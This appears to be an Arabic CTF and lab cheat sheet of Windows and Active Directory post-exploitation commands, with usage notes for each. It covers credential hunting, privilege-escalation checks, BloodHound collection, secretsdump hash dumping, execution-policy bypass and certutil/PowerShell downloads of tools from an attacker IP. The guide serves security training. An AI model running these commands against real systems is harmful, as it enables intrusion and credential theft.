أين تستخدمه: Windows الهدف.

مثال استخدام: تريد معرفة DNS Server الداخلي الذي قد يكون Domain Controller.

cmd
ipconfig /all

#الاتصالات والمنافذ

cmd
netstat -ano

متى تستخدمه: عندما تريد رؤية Listening Ports والاتصالات الحالية وربطها بالـPID.

أين تستخدمه: Windows الهدف.

مثال استخدام: Service لا تظهر من الخارج لكنك تشك أنها تستمع على 127.0.0.1 فقط.

cmd
netstat -ano

#Routing Table

cmd
route print

متى تستخدمه: عندما تبحث عن شبكات داخلية إضافية أو احتمالات Pivoting.

أين تستخدمه: Windows الهدف.

مثال استخدام: الجهاز يملك Interface ثانية وقد يوصلك إلى Subnet غير قابلة للوصول من جهازك مباشرة.

cmd
route print

#ARP Cache

cmd
arp -a

متى تستخدمه: عندما تريد أجهزة Layer 2 التي تواصل معها الهدف مؤخرًا.

أين تستخدمه: Windows الهدف.

مثال استخدام: تبحث عن IPs داخلية مجاورة قبل توسيع Network Enumeration.

cmd
arp -a

#DNS Cache

cmd
ipconfig /displaydns

متى تستخدمه: عندما تبحث عن Hostnames داخلية استخدمها الجهاز مؤخرًا.

أين تستخدمه: Windows الهدف.

مثال استخدام: تريد اكتشاف اسم Intranet أو API داخلي لم يظهر في Nmap.

cmd
ipconfig /displaydns

#Shares محلية

cmd
net share

متى تستخدمه: لمعرفة الملفات والمجلدات التي يشاركها الجهاز عبر SMB.

أين تستخدمه: Windows الهدف.

مثال استخدام: تريد معرفة هل هناك Share تطبيق غير C$ وADMIN$.

cmd
net share

#Windows ACLs

#فحص Permissions

cmd
icacls <PATH>

متى تستخدمه: عندما تجد ملفًا أو مجلدًا حساسًا وتريد معرفة من يستطيع تعديله.

أين تستخدمه: Windows الهدف.

مثال استخدام: وجدت Script تشغله Scheduled Task وتريد معرفة هل حسابك يملك Modify عليه.

cmd
icacls C:\Tasks\backup.ps1

#فحص Service Binary

cmd
icacls "C:\Program Files\<SERVICE_NAME>\service.exe"

متى تستخدمه: عندما تعرف Binary Path لخدمة وتريد اختبار Writable Service Binary Misconfiguration.

أين تستخدمه: Windows الهدف.

مثال استخدام: sc qc أظهر أن خدمة تعمل من C:\Program Files\Acme\service.exe.

cmd
icacls "C:\Program Files\Acme\service.exe"

#فحص Startup Folder

cmd
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

متى تستخدمه: أثناء PrivEsc Enumeration عندما تريد معرفة هل Startup Folder قابل للكتابة لحسابك.

أين تستخدمه: Windows الهدف.

مثال استخدام: تبحث عن Misconfiguration تجعل برنامجًا يبدأ عند تسجيل دخول مستخدم أعلى صلاحية.

cmd
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

#فحص Task Scripts

cmd
icacls C:\Tasks\*.bat
icacls C:\Tasks\*.ps1

متى تستخدمه: عندما توجد مجموعة Scripts داخل مجلد Tasks وتريد فحص ACLs بسرعة.

أين تستخدمه: Windows الهدف.

مثال استخدام: schtasks أظهر Scripts داخل C:\Tasks وتريد معرفة أيها Writable.

cmd
icacls C:\Tasks\*.ps1

#Windows Processes

#عرض Processes

cmd
tasklist

متى تستخدمه: لمعرفة ما يعمل حاليًا وربط التطبيقات بالخدمات أو الملفات المكتشفة.

أين تستخدمه: Windows الهدف.

مثال استخدام: وجدت Config لتطبيق وتريد التأكد هل Process الخاص به يعمل الآن.

cmd
tasklist

#تفاصيل Processes

cmd
tasklist /v

متى تستخدمه: عندما تحتاج تفاصيل أكثر من القائمة الأساسية مثل Session أو Window Title.

أين تستخدمه: Windows الهدف.

مثال استخدام: يوجد أكثر من Process بنفس الاسم وتريد Context إضافي للتفريق بينها.

cmd
tasklist /v

#إنهاء Process بالـPID

cmd
taskkill /PID <PID> /F

متى تستخدمه: فقط عندما يحتاج التحدي إيقاف Process محدد وتفهم أثر ذلك.

أين تستخدمه: Windows الهدف بصلاحية تسمح بقتل العملية.

مثال استخدام: Lab خاص بالخدمات يطلب إعادة تشغيل تطبيق تجريبي يدويًا بعد تعديل Config.

cmd
taskkill /PID 4120 /F

#إنهاء Process بالاسم

cmd
taskkill /IM <PROCESS_NAME> /F

متى تستخدمه: عندما تعرف Image Name وتريد إنهاء Process بالاسم بدل PID.

أين تستخدمه: Windows الهدف.

مثال استخدام: داخل Lab مع Process تجريبي اسمه demoapp.exe.

cmd
taskkill /IM demoapp.exe /F

#Windows Services

#عرض الخدمات

cmd
sc query

متى تستخدمه: في Service Enumeration لمعرفة الخدمات وحالتها.

أين تستخدمه: Windows الهدف.

مثال استخدام: تبحث عن Third Party Service قد تستخدم Binary أو Config يمكن لحسابك تعديلها.

cmd
sc query

#تفاصيل خدمة

cmd
sc qc <SERVICE_NAME>

متى تستخدمه: بعد اختيار Service مهمة وتريد معرفة Binary Path وStart Account وStart Type.

أين تستخدمه: Windows الهدف.

مثال استخدام: وجدت Service باسم BackupService وتريد معرفة الملف الذي تشغله.

cmd
sc qc BackupService

#حالة خدمة محددة

cmd
sc query <SERVICE_NAME>

متى تستخدمه: عندما تريد معرفة هل الخدمة Running أو Stopped قبل اختبار أي تغيير داخل Lab.

أين تستخدمه: Windows الهدف.

مثال استخدام: تريد معرفة حالة BackupService قبل محاولة Restart في سيناريو تدريبي.

cmd
sc query BackupService

#تشغيل وإيقاف خدمة

cmd
sc start <SERVICE_NAME>
sc stop <SERVICE_NAME>

متى تستخدمه: عندما تملك صلاحية التحكم بالخدمة ويحتاج السيناريو Restart لتطبيق تغيير مشروع داخل المختبر.

أين تستخدمه: Windows الهدف.

مثال استخدام: عدلت Config لخدمة تجريبية وتحتاج إعادة تشغيلها حتى تقرأ الإعداد الجديد.

cmd
sc stop BackupService
sc start BackupService

#تغيير Binary Path لخدمة

cmd
sc config <SERVICE_NAME> binpath= "<PATH>"

متى تستخدمه: في Lab خاص بـService Permissions عندما تكون المهمة إثبات أن حسابك يستطيع تعديل Configuration للخدمة.

أين تستخدمه: Windows الهدف بصلاحية SERVICE_CHANGE_CONFIG المناسبة.

مثال استخدام: اختبار تدريبي يطلب تغيير Service تجريبية لتشغيل Binary آمن تملكه داخل المختبر.

cmd
sc config DemoService binpath= "C:\Lab\demo.exe"

#Windows Credential Hunting

#AutoLogon Registry

cmd
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

متى تستخدمه: أثناء Credential Enumeration للبحث عن AutoLogon Configuration.

أين تستخدمه: Windows الهدف.

مثال استخدام: الجهاز يبدو Kiosk أو Service Host وتريد معرفة هل هناك AutoLogon User محدد.

cmd
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

#PuTTY Sessions

cmd
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

متى تستخدمه: عندما تعرف أن PuTTY مستخدم على الجهاز وتريد Hostnames أو إعدادات Sessions محفوظة.

أين تستخدمه: Windows الهدف ضمن Registry المستخدم الحالي.

مثال استخدام: وجدت putty.exe في الجهاز وتريد معرفة الأنظمة التي يتصل بها المستخدم.

cmd
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

#البحث عن كلمة password في الملفات

cmd
findstr /si password *.txt *.xml *.ini *.config

متى تستخدمه: عندما تكون داخل مجلد تطبيق أو Backup وتريد بحثًا أوليًا عن Configs تحتوي كلمة password.

أين تستخدمه: Windows الهدف من المجلد الذي تريد البحث بداخله.

مثال استخدام: داخل C:\inetpub\wwwroot توجد ملفات XML وConfig وتريد فلترة سريعة.

cmd
cd C:\inetpub\wwwroot
findstr /si password *.xml *.config

#البحث عن Unattend Files

cmd
dir /s *unattend.xml
dir /s *sysprep.xml

متى تستخدمه: أثناء البحث عن بقايا Deployment Files في Windows CTF.

أين تستخدمه: Windows الهدف من Drive أو مجلد مناسب.

مثال استخدام: Machine قديمة أعدت من Image وتريد التحقق هل تركت ملفات Installation غير محذوفة.

cmd
cd C:\
dir /s *unattend.xml

#Saved Credentials

cmd
cmdkey /list

متى تستخدمه: عندما تريد معرفة Targets وUsers المحفوظة في Credential Manager.

أين تستخدمه: Windows الهدف بالحساب الحالي.

مثال استخدام: يوجد Shortcut إلى Server داخلي وتريد معرفة هل للحساب Credentials محفوظة له.

cmd
cmdkey /list

#Windows Privilege Escalation Checks

#AlwaysInstallElevated في HKLM

cmd
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

متى تستخدمه: أثناء فحص Misconfiguration الخاصة بـWindows Installer.

أين تستخدمه: Windows الهدف.

مثال استخدام: تريد معرفة هل Machine Policy تفعل AlwaysInstallElevated قبل فحص قيمة المستخدم أيضًا.

cmd
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

#AlwaysInstallElevated في HKCU

cmd
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

متى تستخدمه: بعد فحص HKLM لأن السيناريو المهم عادة يحتاج تفعيل القيمة في الـMachine والـUser معًا.

أين تستخدمه: Windows الهدف بالحساب الحالي.

مثال استخدام: قيمة HKLM ظهرت مفعلة وتريد التحقق من الطرف الثاني قبل اعتبار Finding مهمة.

cmd
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

#عرض Scheduled Tasks بتفاصيلها

cmd
schtasks /query /fo LIST /v

متى تستخدمه: أثناء PrivEsc Enumeration لمعرفة ما الذي يعمل دوريًا وبأي Account ومن أي Path.

أين تستخدمه: Windows الهدف.

مثال استخدام: تبحث عن Task تعمل كـSYSTEM وتشغل Script يستطيع حسابك الكتابة عليه.

cmd
schtasks /query /fo LIST /v

#البحث الأولي عن Auto Services عبر WMIC

cmd
wmic service get name,pathname,displayname,startmode | findstr /i auto

متى تستخدمه: عندما تريد قائمة خدمات Automatic مع مساراتها لمراجعة Unquoted Paths أو Permissions.

أين تستخدمه: Windows الهدف إذا كان WMIC متاحًا.

مثال استخدام: تبحث عن Third Party Service تبدأ تلقائيًا ومسارها يحتوي Spaces.

cmd
wmic service get name,pathname,displayname,startmode | findstr /i auto

#PowerUp Checks

powershell
Invoke-AllChecks

متى تستخدمه: بعد تحميل PowerUp داخل PowerShell Session في مختبر مصرح به وتريد Enumeration آليًا لمجموعة Misconfigurations.

أين تستخدمه: على Windows الهدف داخل PowerShell بعد Import أو Dot Source للسكريبت.

مثال استخدام: أنهيت الفحص اليدوي الأساسي وتريد مقارنة نتائجك مع Checks أوتوماتيكية.

powershell
Invoke-AllChecks

#Active Directory

#معلومات Workstation

cmd
net config workstation

متى تستخدمه: عندما تريد معرفة Computer Name والدومين أو Workgroup بسرعة.

أين تستخدمه: Windows الهدف.

مثال استخدام: حصلت على Shell ولا تعرف هل الجهاز Domain Joined.

cmd
net config workstation

#Domain Controllers

cmd
nltest /dclist:<DOMAIN>

متى تستخدمه: عندما تعرف اسم الدومين وتريد قائمة Domain Controllers.

أين تستخدمه: Windows Domain Joined.

مثال استخدام: الدومين corp.local وتريد معرفة اسم الـDC قبل BloodHound أو LDAP Enumeration.

cmd
nltest /dclist:corp.local

#Domain Trusts

cmd
nltest /domain_trusts

متى تستخدمه: عندما تريد معرفة هل الدومين الحالي يملك Trust Relationships مع Domains أخرى.

أين تستخدمه: Windows داخل بيئة Active Directory.

مثال استخدام: التحدي يحتوي أكثر من Domain وتريد تحديد العلاقات المتاحة قبل توسيع Enumeration.

cmd
nltest /domain_trusts

#عرض Shares على جهاز بعيد

cmd
net view \\<TARGET> /all

متى تستخدمه: عندما تريد معرفة SMB Shares التي يستطيع حسابك رؤيتها على Host بعيد.

أين تستخدمه: Windows داخل الشبكة نفسها أو عبر Route يسمح بالوصول إلى SMB.

مثال استخدام: اكتشفت Server باسم FILE01 وتريد معرفة Shares المتاحة عليه.

cmd
net view \\FILE01 /all

#Map Share إلى Drive Letter

cmd
net use Z: \\<TARGET>\<SHARE>

متى تستخدمه: عندما تريد تصفح Share بعيد كأنه Drive محلي.

أين تستخدمه: Windows Client الذي يملك Network Access وCredentials مناسبة.

مثال استخدام: Share باسم Public على FILE01 وتريد البحث داخله بسهولة.

cmd
net use Z: \\FILE01\Public

#حذف Mapping

cmd
net use Z: /delete

متى تستخدمه: بعد الانتهاء من Share أو عندما تريد إعادة الاتصال بـCredentials مختلفة.

أين تستخدمه: على نفس Windows Client الذي أنشأ الـMapping.

مثال استخدام: انتهيت من مراجعة Z: وتريد تنظيف Session قبل اختبار Share آخر.

cmd
net use Z: /delete

#BloodHound

#Collection شامل

bash
bloodhound-python --zip -c All -d <DOMAIN> -ns <DNS_IP> -dc <DC> -u <USER> -p <PASS>

متى تستخدمه: عندما تملك Domain Credentials وتريد جمع علاقات AD لتحليلها داخل BloodHound.

أين تستخدمه: غالبًا على Kali أو Linux attacker Host المتصل بشبكة المختبر والقادر على Resolve الدومين والـDC.

مثال استخدام: لديك حساب student في corp.local والـDC اسمه DC01.corp.local وDNS هو 10.10.10.10.

bash
bloodhound-python --zip -c All -d corp.local -ns 10.10.10.10 -dc DC01.corp.local -u student -p '<PASS>'

#BloodHound باستخدام DNS TCP

bash
bloodhound-python -u '<USER>' -p '<PASS>' -d <DOMAIN> -dc <DC> -ns <DNS_IP> --dns-tcp -c All --zip

متى تستخدمه: عندما تواجه مشاكل DNS عبر UDP أو بيئة المختبر تحتاج Queries عبر TCP.

أين تستخدمه: على Linux attacker Host.

مثال استخدام: bloodhound-python يفشل في Resolve رغم أن DNS Server صحيح وتريد تجربة TCP.

bash
bloodhound-python -u 'student' -p '<PASS>' -d corp.local -dc DC01.corp.local -ns 10.10.10.10 --dns-tcp -c All --zip

#Impacket secretsdump

bash
secretsdump.py -outputfile domain_hashes -just-dc <DOMAIN>/<USER>@<DC_IP>

متى تستخدمه: داخل AD CTF عندما تملك Account وصلاحيات تسمح فعليًا بقراءة Domain Replication Data أو تنفيذ السيناريو المطلوب في المختبر.

أين تستخدمه: عادة على Linux attacker Host الذي يحتوي Impacket ويستطيع الوصول إلى Domain Controller.

مثال استخدام: حساب مختبري حصل على Replication Rights وتريد التحقق من أثر هذه الصلاحية على DC عنوانه 10.10.10.10.

bash
secretsdump.py -outputfile domain_hashes -just-dc corp.local/replication-user@10.10.10.10

#RDP من Linux باستخدام xfreerdp3

bash
xfreerdp3 /v:<TARGET_IP> /u:<USER> /p:'<PASS>' /dynamic-resolution +clipboard

متى تستخدمه: عندما تملك Credentials صالحة لـRDP والمنفذ 3389 متاح أو الخدمة قابلة للوصول.

أين تستخدمه: على Linux attacker Host لديه FreeRDP.

مثال استخدام: لديك حساب مختبري student على Windows Host بعنوان 10.10.11.25.

bash
xfreerdp3 /v:10.10.11.25 /u:student /p:'<PASS>' /dynamic-resolution +clipboard

#Windows File Transfer

#PowerShell WebClient

powershell
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://<YOUR_IP>/<FILE>','C:\Temp\<FILE>')"

متى تستخدمه: عندما PowerShell متاح على Windows الهدف وتريد تنزيل ملف من HTTP Server.

أين تستخدمه: على Windows الهدف.

مثال استخدام: تريد تنزيل tool.exe من جهازك 10.10.14.5:8000 إلى C:\Temp.

powershell
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.5:8000/tool.exe','C:\Temp\tool.exe')"

#Invoke-WebRequest

powershell
powershell -c "iwr -uri http://<YOUR_IP>/<FILE> -outfile C:\Temp\<FILE>"

متى تستخدمه: كطريقة PowerShell أبسط لتنزيل ملف عندما Invoke-WebRequest متاح.

أين تستخدمه: Windows الهدف.

مثال استخدام: تريد تنزيل Script تدريبي إلى C:\Temp.

powershell
powershell -c "iwr -uri http://10.10.14.5:8000/enum.ps1 -outfile C:\Temp\enum.ps1"

#Certutil Download

cmd
certutil -urlcache -f http://<YOUR_IP>/<FILE> C:\Temp\<FILE>

متى تستخدمه: عندما لا تناسبك أدوات PowerShell ويكون certutil متاحًا في المختبر.

أين تستخدمه: Windows الهدف.

مثال استخدام: Shell الحالية CMD فقط وتريد تنزيل ملف من HTTP Server لديك.

cmd
certutil -urlcache -f http://10.10.14.5:8000/tool.exe C:\Temp\tool.exe

#Copy من SMB Share

cmd
copy \\<YOUR_IP>\<SHARE>\<FILE> C:\Temp\

متى تستخدمه: عندما لديك SMB Share يمكن للهدف الوصول إليه وتريد نسخ ملف بدون HTTP.

أين تستخدمه: Windows الهدف.

مثال استخدام: جهازك يقدم Share باسم tools ويحتوي enum.exe.

cmd
copy \\10.10.14.5\tools\enum.exe C:\Temp\

#PowerShell Execution Policy

#تشغيل PowerShell بPolicy Bypass للعملية

powershell
powershell -ExecutionPolicy Bypass

متى تستخدمه: داخل Lab عندما تمنع Execution Policy تشغيل Script تدريبي وتريد Scope مؤقتًا للعملية الجديدة.

أين تستخدمه: Windows الهدف أو جهاز Windows المختبري.

مثال استخدام: لديك enum.ps1 مصرح به لكن Session الحالية تمنع تشغيله بسبب Policy.

powershell
powershell -ExecutionPolicy Bypass

#الشكل المختصر

powershell
powershell -ep bypass

متى تستخدمه: عندما تريد نفس السلوك بأمر أقصر في Terminal تفاعلي.

أين تستخدمه: Windows.

مثال استخدام: تكتب الأمر يدويًا داخل Shell وتريد اختصار ExecutionPolicy.

powershell
powershell -ep bypass

#تغيير Policy للمستخدم الحالي

powershell
Set-ExecutionPolicy Unrestricted -Scope CurrentUser

متى تستخدمه: فقط عندما يتطلب Lab تغيير Policy للمستخدم الحالي بدل استخدام Process Scope مؤقت.

أين تستخدمه: PowerShell على Windows ضمن الحساب الحالي.

مثال استخدام: مختبر إدارة PowerShell يطلب اختبار الفرق بين Scopes المختلفة للـExecution Policy.

powershell
Set-ExecutionPolicy Unrestricted -Scope CurrentUser

#WinRM وRDP من Windows

#تنفيذ Command بعيد عبر winrs

cmd
winrs -r:<TARGET> -u:<USER> -p:<PASS> ipconfig

متى تستخدمه: عندما WinRM مفعّل والحساب لديه صلاحية Remote Management على الجهاز الهدف.

أين تستخدمه: من Windows Host يستطيع الوصول إلى WinRM على الجهاز البعيد.

مثال استخدام: لديك Credentials لمستخدم Remote Management وتريد اختبار الوصول بتنفيذ ipconfig فقط.

cmd
winrs -r:SERVER01 -u:corp\student -p:<PASS> ipconfig

#تهيئة WinRM

cmd
winrm quickconfig

متى تستخدمه: في Lab إداري عندما تكون المهمة إعداد WinRM محليًا أو التحقق من Config الأساسية.

أين تستخدمه: على Windows الذي تريد تهيئة WinRM عليه وبصلاحيات مناسبة.

مثال استخدام: مختبر Windows Administration يطلب تفعيل الإدارة البعيدة على VM تجريبية.

cmd
winrm quickconfig

#فتح Remote Desktop Client

cmd
mstsc /v:<TARGET>

متى تستخدمه: عندما تعمل من Windows وتريد فتح RDP Session إلى جهاز بعيد.

أين تستخدمه: على Windows Client.

مثال استخدام: RDP متاح على SERVER01 ولديك حساب مصرح له بالدخول.

cmd
mstsc /v:SERVER01